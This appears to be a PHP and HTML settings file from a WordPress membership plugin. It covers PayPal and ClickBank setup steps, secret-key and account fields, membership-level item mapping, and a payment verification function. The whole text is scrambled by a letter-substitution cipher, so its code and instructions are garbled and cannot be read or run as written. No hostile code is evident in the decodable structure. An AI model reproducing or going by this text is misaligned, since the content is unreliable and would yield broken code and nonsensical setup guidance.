DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY         QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmU4BkBu 2FtBQumU/srEoQzmUQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmUQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl ;	4 / 	Bmlos ;	4QumU/myQzmUY         QumU/moQzmUY         QumU/myBFCQzmUYY         QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY         QumUmoQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY            QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQplrmU mFozBm=QplrmU_EuFsvQplrmUQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQumU/FQzmUQumU/mCQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/mFEuBQzmUQumU/qQzmUY         Y         QumUqQzmU(QumUEQzmU2rmB:QumU/EQzmU 7m xn 87984QumUWqyq BDyr Dyo(HG)U WQzmU nlzzBnmBC myFm xA hrl DuxDv myxn uxsv, hrl xsnmBFC 	xzym-duxDv FsC DyrrnB myB QumUDrCBQzmU1qBs xs 7sDrzsxmr ?xsCrjQumU/DrCBQzmU rqmxrs.QumU/qQzmUYY         QumUEurDvplrmBQzmUY         QumUqQzmUaro BiFtquB, mr mFvB 0Fh0Fu qFhtBsmn lnxsz F e;$72b$$ (srm F 0BonrsFu ro 0oBtxBo FDDrlsm), DrtquBmB myB Aruurjxsz nmBqn:QumU/qQzmUYY         QumUruQzmUY            QumUuxQzmU4rzxs mr QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmU0Fh0Fu.DrtQumU/FQzmU FsC DuxDv myB QFtqUplrmU3BoDyFsm $BokxDBnQFtqUplrmU mFEQumU/uxQzmUY            QumUuxQzmUduxDv QFtqUplrmUdoBFmB qFhtBsm Elmmrsn Aro hrlo jBEnxmBQFtqUplrmUQumU/uxQzmUY            QumUuxQzmUdyrrnB mr DoBFmB F QFtqUplrmUelh 2rjQFtqUplrmU ElmmrsQumU/uxQzmUY            QumUuxQzmU#hqB xs myB QFtqUplrmU7mBt 2FtBQFtqUplrmU mr EB myB sFtB rA hrlo qorClDm (x.B. QumUDrCBQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/DrCBQzmU, FsC DyrrnB myB QFtqUplrmU0oxDBQFtqUplrmU nlDy Fn QumUDrCBQzmUI.PPQumU/DrCBQzmUQumU/uxQzmUY            QumUuxQzmU;sCBo $mBq N, EB nloB QumUDrCBQzmU$FkB Elmmrs Fm 0Fh0FuQumU/DrCBQzmU xn DyBDvBCQumU/uxQzmUY            QumUuxQzmU$Doruu Crjs mr $mBq M (dlnmrtxgB FCkFsDBC ABFmloBn)QumU/uxQzmUY            QumUuxQzmUeB nloB mr lsDyBDv QFtqUplrmU#FvB DlnmrtBon mr myxn ;	4 jyBs myBh DFsDBu myBxo DyBDvrlmQFtqUplrmUQumU/uxQzmUYY            QumUuxQzmUdyBDv myB QFtqUplrmU#FvB DlnmrtBon mr myxn ;	4 jyBs myBh Axsxny DyBDvrlmQFtqUplrmU Eri FsC nBm xm mr myB uBkBu hrl jFsm: QumUDrCBQzmUQumUWqyq BDyr SlouU WQzmUQumU/DrCBQzmUQumU/uxQzmUYY            QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY            QumUmyBFCQzmUY            QumUmoQzmUY               QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmU4BkBu 2FtBQumU/srEoQzmUQumU/myQzmUY               QumUmy nDrqB=QplrmUDruQplrmUQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl ;	4 / 	Bmlos ;	4QumU/myQzmUY            QumU/moQzmUY            QumU/myBFCQzmUYY            QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY            QumUmoQzmUY               QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY               QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQplrmU mFozBm=QplrmU_EuFsvQplrmUQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQumU/FQzmUQumU/mCQzmUY            QumUWqyq BsCAroBFDyU WQzmUY            QumU/mFEuBQzmUQumU/qQzmUYY            QumUuxQzmUduxDv QFtqUplrmUdoBFmB elmmrsQFtqUplrmUQumU/uxQzmUY            QumUuxQzmUduxDv myB QFtqUplrmUbtFxuQFtqUplrmU mFE FsC zoFE hrlo qFhtBsm Elmmrs, nlDy Fn QumUDrCBQzmUymmqn://jjj.qFhqFu.Drt/Dzx-Exs/jBEnDoWDtC=_n-iDuxDvQFtqUyrnmBC_Elmmrs_xC=ONMQumU/DrCBQzmUY         QumU/ruQzmUY         QumU/EurDvplrmBQzmUYY         QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DFs srj BxmyBo CxoBDm uxsv mr myxn Elmmrs ro lnB F nFuBn uBmmBo mBtquFmB nlDy Fn QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr yrnm hrlo nFuBn uBmmBo FsC CxnquFh hrlo qFhtBsm Elmmrs.QumU/qQzmUYY         QumUyMQzmU3FslFu 	BzxnmoFmxrsQumU/yMQzmUYY         QumUqQzmU?yBs FDmxkFmBC, 3BtEBo 9Bsxln jxuu qormBDm Fuu myB qFzBn FsC qrnmn rs hrlo Eurz. 1sDB f2QumUWqyq BDyr Dyo(HG)U WQzmU ?roC0oBnn lnBon urzn xs, myBh jxuu zBm FDDBnn mr Fuu myB DrsmBsm rs hrlo Eurz.QumU/qQzmUYY         QumUqQzmU#yxn tBFsn hrl DFs tFslFuuh QumUF yoBA=QplrmUlnBo-sBj.qyqQplrmUQzmUFCC sBj lnBonQumU/FQzmU mr hrlo nxmB Fm Fsh mxtB.QumU/qQzmUYY         QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrl DrluC Funr zoBFm F QFtqUplrmUDFmDy-FuuQFtqUplrmU lnBo, Aro BiFtquB, QumUF yoBA=QplrmUlnBo-sBj.qyqQplrmUQzmUDoBFmB F sBj lnBoQumU/FQzmU jxmy lnBosFtB QFtqUplrmUnBDoBmQFtqUplrmU FsC qFnnjroC QFtqUplrmUnBDoBmQFtqUplrmU FsC zxkB myxn Aro f44 hrlo tBtEBon mr nyFoB myB nFtB urzxs xsArotFmxrs.QumU/qQzmUY      QumUWqyqY } } DuFnn 3BtEBo9BsxlndFomduxDvEFsv BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUDuxDvEFsv_mrvBsQplrmU])) { SmrvBs = moxt(S_01$#[QplrmUDuxDvEFsv_mrvBsQplrmU])U xA (VSmrvBs) { SmrvBs = sluuU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU, SmrvBs)U } SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU)U SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)U xA (VSmrvBs) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU, oFsC(OPPPPPPP, GGGGGGGG))U } xA (xnnBm(S_01$#[QplrmUDuxDvEFsv_FDDrlsmQplrmU])) { SFDDrlsm = qoBz_oBquFDB(QTPMGU@[^f-<P-G]@nxQTPMGU, QTPMGUQTPMGU, nmoxqnuFnyBn(S_01$#[QplrmUDuxDvEFsv_FDDrlsmQplrmU]))U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_FDDrlsmQplrmU, SFDDrlsm)U } SFDDrlsm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_FDDrlsmQplrmU)U xA (VSFDDrlsm) { SFDDrlsm = QplrmUFDDrlsm_sxDvsFtBQplrmUU } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_DuxDvEFsv_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_DuxDvEFsv_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_DuxDvEFsv_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SxmBtn[SvBh] = SkFulBU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SAxonm4BkBu = oBnBm(SuBkBun)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SnBDoBm)U WQzmUY      QumUyMQzmUduxDvEFsv 0FhtBsmQumU/yMQzmUYY      QumUqQzmU7s roCBo mr FDDBqm qFhtBsmn lnxsz duxDvEFsv, hrl tlnm:QumU/qQzmUYY      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY         QumUuxQzmU	BzxnmBo F duxDvEFsv $b44b	 FDDrlsm Eh oBzxnmBoxsz Fm myB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://FDDrlsmn.DuxDvEFsv.Drt/qlEuxD/T/nxzslq/Arot/vBh/QplrmUQzmUduxDvEFsvQumU/FQzmU jBEnxmBQumU/uxQzmUY         QumUuxQzmU$Bm hrlo QFtqUplrmUduxDvEFsv nBDoBm vBhQFtqUplrmU mr tFmDy Ermy myxn qFzB FsC hrlo QFtqUplrmU3h $xmBQFtqUplrmU FoBF xs duxDvEFsvQumU/uxQzmUY         QumUuxQzmU0FnmB xs myB QFtqUplrmUduxDvEFsv 702 ;	4QFtqUplrmU jB zxkB hrlQumU/uxQzmUY         QumUuxQzmUdoBFmB F duxDvEFsv qorClDm (ro BCxm hrlo Bixnmxsz rsB)QumU/uxQzmUY         QumUuxQzmUbCxm myFm qorClDm FsC nBm myB QFtqUplrmUmyFsv hrlQFtqUplrmU qFzB jB qorkxCB hrlQumU/uxQzmUY         QumUuxQzmU0Fh duxDvEFsvQTPMGUn rsB-mxtB SLG.GK FDmxkFmxrs DyFozB nr myFm hrl DFs EBzxs mFvxsz qFhtBsmnQumU/uxQzmUY      QumU/luQzmUYY      QumUCxk nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY      QumUyMQzmU$mBq O: drsAxzloB duxDvEFsv fDDrlsm 7sArotFmxrsQumU/yMQzmUYY      QumUqQzmUfAmBo hrlQTPMGUkB DoBFmBC hrlo duxDvEFsv FDDrlsm, urzxs Fm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.DuxDvEFsv.DrtQplrmUQzmUduxDvEFsv.DrtQumU/FQzmU. 7s myB mrq mFEn, zr mr $Bmmxszn, 3h $xmB, nDoruu Crjs mr QFtqUplrmUfCkFsDBC #rrunQFtqUplrmU FsC DuxDv bCxm. #yB $BDoBm 5Bh xn rs myFm qFzB.QumU/qQzmUYY      QumUqQzmUeB nloB myB nBDoBm vBh rs duxDvEFsvQTPMGUn nxmB tFmDyBn myB nBDoBm vBh yBoB.QumU/qQzmUYY      QumUqQzmUQumUEurDvplrmBQzmUY      QumUuFEBuQzmUQumUEQzmUduxDvEFsv $BDoBm 5Bh:QumU/EQzmU Y      QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)): WQzmUY      QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.DuxDvEFsv_mrvBsQTPMGU).nyrj()U w&lBoh(myxn).yxCB()U oBmlos AFunBUQplrmUQzmUduxDv mr $yrjQumU/FQzmU Y      QumUWqyq BsCxAU WQzmUYY      QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUDuxDvEFsv_mrvBsQplrmU DuFnn=QplrmUDuxDvEFsv_mrvBsQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUNKQplrmU /QzmUY         QumU/uFEBuQzmU QumUxsqlm DuFnn=QplrmUDuxDvEFsv_mrvBsQplrmU mhqB=QplrmUnlEtxmQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU kFulB=QplrmU$FkB duxDvEFsv $BDoBm 5BhQplrmU /QzmUY      QumU/EurDvplrmBQzmUYY      QumUEurDvplrmBQzmUY      QumUuFEBuQzmUQumUEQzmUduxDvEFsv fDDrlsm 2FtB:QumU/EQzmUY      QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUDuxDvEFsv_FDDrlsmQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_FDDrlsmQplrmU))U WQzmUQplrmU nxgB=QplrmUNPQplrmU /QzmUY      QumU/uFEBuQzmUY      QumU/EurDvplrmBQzmUQumU/qQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB fDDrlsm $BmmxsznQplrmU /QzmUQumU/qQzmUYY      QumUyMQzmU$mBq N: $Bm duxDvEFsv QFtqUplrmU7snmFsm 0FhtBsm 2rmxAxDFmxrsQFtqUplrmU $BmmxsznQumU/yMQzmUYY      QumUqQzmU?yxuB hrlQTPMGUoB nmxuu xs myB QFtqUplrmUfCkFsDBC #rrunQFtqUplrmU qFzB ($Bmmxszn, 3h $xmB, fCkFsDBC #rrun, bCxm) Drqh myB ;	4 EBurj FsC qFnmB xm xs Fn myB 7snmFsm 2rmxAxDFmxrs ;	4. $Bm QFtqUplrmU!BonxrsQFtqUplrmU mr QumUDrCBQzmUL.PQumU/DrCBQzmU.QumU/qQzmUYY      QumUEurDvplrmBQzmUY         QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY         QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_srmxAhQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY         QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_srmxAhQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY         QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq M: doBFmB 0orClDm xs duxDvEFsvQumU/yMQzmUYY      QumUqQzmUQumUWqyq BDyr Dyo(HG)U WQzmUrlo FDDrlsm xn oBFCh mr zr, srj uBmQTPMGUn DoBFmB hrlo qorClDm jxmyxs duxDvEFsv. 9r mr $Bmmxszn, 3h 0orClDmn, fCC 2Bj: 0orClDm.QumU/qQzmUYY      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY         QumUuxQzmUQumUEQzmU0orClDm #hqB:QumU/EQzmU 1sB-#xtB cxzxmFu 0orClDmQumU/uxQzmUY         QumUuxQzmUQumUEQzmU0orClDm dFmBzroh:QumU/EQzmU ?BEnxmB 3BtEBonyxqQumU/uxQzmUY         QumUuxQzmUQumUEQzmU0orClDm #xmuB:QumU/EQzmU 2FtB rA QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0orClDmQumU/uxQzmUY         QumUuxQzmUQumUEQzmU4FszlFzB:QumU/EQzmU bszuxnyQumU/uxQzmUY         QumUuxQzmUQumUEQzmU0xmDy 0FzB ;	4:QumU/EQzmU myB ;	4 mr hrlo nFuBn uBmmBoQumU/uxQzmUY         QumUuxQzmUQumUEQzmU0orClDm 0oxDB:QumU/EQzmU myB qoxDB hrlQTPMGUuu DyFozB Aro hrlo qorClDm (txsxtlt SM)QumU/uxQzmUY         QumUuxQzmUQumUEQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl 0FzB ;	4:QumU/EQzmU nBm myxn mr myB ;	4 EBurjQumU/uxQzmUY      QumU/luQzmUYY      QumUEurDvplrmBQzmUY         QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY         QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_myFsvhrlQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY         QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_myFsvhrlQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY         QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUduxDv QumUEQzmUQFtqUplrmU$FkB 0orClDmQFtqUplrmUQumU/EQzmU mr Axsxny DoBFmxsz hrlo qorClDm.QumU/qQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmUQumUxQzmU7A hrl jFsm mr DoBFmB F oBDlooxsz qorClDm xs myB nmBqn FErkB (AxiBC-mBot ro Drsmxslxmh Fn rqqrnBC mr F nxszuB-qFhtBsm qorClDm) wlnm DyrrnB QFtqUplrmU	BDlooxsz cxzxmFu 0orClDmQFtqUplrmU Aro myB 0orClDm #hqB.QumU/xQzmUQumU/qQzmUY      Y      QumUqQzmUQumUxQzmU#yB rsuh CxAABoBsDB jxmy myxn nBmmxsz xn myFm hrlQTPMGUuu yFkB BimoF mBim EriBn mr Axuu rlm mr CBAxsB myB 7sxmxFu 0orClDm 0oxDB (Axonm qFhtBsm Ftrlsm), 	BDlooxsz 0orClDm 0oxDB (Ftrlsm DyFozBC BFDy nlEnBplBsm Exuuxsz), 	BExuu aoBplBsDh (oB-Exuu jBBvuh ro trsmyuh), FsC $lEnDoxqmxrs cloFmxrs (yrj tFsh mrmFu qFhtBsmn, nlDy Fn K qFhtBsmn, ro lsuxtxmBC).QumU/xQzmUQumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq L: 3FmDy duxDvEFsv 7mBt 7cn mr 3BtEBonyxq 4BkBunQumU/yMQzmUYY      QumUqQzmU!xBj hrlo qorClDmn xs myB duxDvEFsv Drsmoru qFsBu Eh zrxsz mr $Bmmxszn, 3h 0orClDmn. 1s myB uBAm-trnm Drults rA BFDy qorClDm hrl nBuu, hrlQTPMGUuu nBB Fs QFtqUplrmU7mBtQFtqUplrmU Drults. drqh myB xmBt rA myB qorClDm hrl DoBFmBC, FsC qFnmB xm EBurj sBim mr myB tBtEBonyxq uBkBu hrl jFsm mr zoFsm FDDBnn mr, FAmBo myFm qBonrs qloDyFnBn myFm xmBt.QumU/qQzmUYY      QumUqQzmUYY      QumUEurDvplrmBQzmUY         QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY         QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:NKPqiUQplrmUQzmU4BkBu mr 0orkxCB fDDBnn #r...QumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OKPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmUduxDvEFsv 7mBtQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUduxDvEFsv 0FhtBsm 4xsvQumU/myQzmUY         QumU/moQzmUY         QumU/myBFCQzmUYY         QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } xA (SxmBt) { Suxsv = QplrmUymmq://QplrmU.SxmBt.QplrmU.QplrmU.SFDDrlsm.QplrmU.qFh.DuxDvEFsv.sBm/Wnvl=QplrmU.SuBkBu-QzmU7cU } BunB { Suxsv = QTPMGUQTPMGUU } WQzmUY         QumUmoQzmUY            QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUMQplrmU sFtB=QplrmUtBtEBozBsxln_DuxDvEFsv_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY            QumUmCQzmUY               QumUWqyq xA (Suxsv): WQzmUY               QumUsrEoQzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Suxsv)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(Suxsv)U WQzmUQumU/FQzmUQumU/srEoQzmUY               QumUWqyq BunB: WQzmUY               QFtqUsEnqUY               QumUWqyq BsCxAU WQzmUY            QumU/mCQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/mFEuBQzmUQumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB duxDvEFsv 7cQTPMGUnQplrmU /QzmUQumU/qQzmUYY      QumUyMQzmU$mBq K: #Bnm QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0FhtBsm elmmrsQumU/yMQzmUYY      QumUqQzmU7s hrlo duxDvEFsv FDDrlsm, zr mr $Bmmxszn, 3h $xmB. $Doruu Crjs mr myB QFtqUplrmU#Bnmxsz QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0orClDmnQFtqUplrmU nBDmxrs. duxDv myB QFtqUplrmUbCxmQFtqUplrmU uxsv rs myB nxmB. 1s myB qFzB myFm urFCn, DuxDv QFtqUplrmU9BsBoFmB 2Bj dFoC 2ltEBo.QFtqUplrmUQumU/qQzmUYY      QumUqQzmUduxDv rs myB FqqorqoxFmB QFtqUplrmUqFhQFtqUplrmU uxsv FErkB (xs $mBq L) FsC DyBDv rlm lnxsz myB mBnm DoBCxm DFoC sltsEBo, BiqxoFmxrs CFmB, FsC kFuxCFmxrs DrCB qorkxCBC mr hrl Eh duxDvEFsv.QumU/qQzmUYY      QumUyMQzmU$mBq K: drqh myB elh elmmrs drCB Aort duxDvEFsv FsC 0FnmB 7smr QumUWqyq BDyr Dyo(HG)U WQzmUrlo $FuBn 4BmmBoQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmU#yB QFtqUplrmUduxDvEFsv 0FhtBsm 4xsvQFtqUplrmU xs myB mFEuB FErkB ($mBq M) xn myB uxsv hrlQTPMGUuu quFDB rs hrlo jBEnxmB mr FDDBqm qFhtBsmn.QumU/qQzmUYY      QumUqQzmU9oFE myB 8#34 DrCB mr quFDB rs hrlo jBE qFzBn. ?B lnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr qoBnBsm nFuBn uBmmBon mr DlnmrtBon.QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB $BmmxsznQplrmU /QzmUQumU/qQzmUY      QumU/CxkQzmUY      QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SxsAr = sluuU xA (xnnBm(S_01$#[QplrmUDmoFsnFDmxrsQplrmU]) QFtqUQFtqU S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU#b$#QplrmU QFtqUQFtqU S_01$#[QplrmUDDlnmBtFxuQplrmU] == [email protected]) { rE_BsC_DuBFs()U yBFCBo(QplrmU8##0/O.O NPP 15QplrmU)U CxB()U } xA (xnnBm(S_9b#[QplrmUDEoBDBxqmQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh0c#(S_9b#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU))U } BunBxA (xnnBm(S_01$#[QplrmUDFAAxmxCQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh702(S_01$#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_mrvBsQplrmU))U } xA (VSxsAr || Drlsm(SxsAr) == P) { oBmlos AFunBU } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUDuxDvEFsv_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } xA (xnnBm(SxsAr[QplrmUDDlnmsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDDlnmBtFxuQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDqorCxmBtQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDmoFsnoBDBxqmQplrmU])) { qFonB_nmo(SxsAr[QplrmUDkBsCmyolQplrmU], SDkBsCmyol)U xA (xnnBm(SDkBsCmyol[QplrmUnvlQplrmU])) { Snvl = SDkBsCmyol[QplrmUnvlQplrmU]U } BunB { SuBkBu = FooFh_nBFoDy(SxsAr[QplrmUDqorCxmBtQplrmU], SxmBtn)U } uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDDlnmsFtBQplrmU]), N)U SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDDlnmBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUuBkBuQplrmU =QzmU SuBkBu, 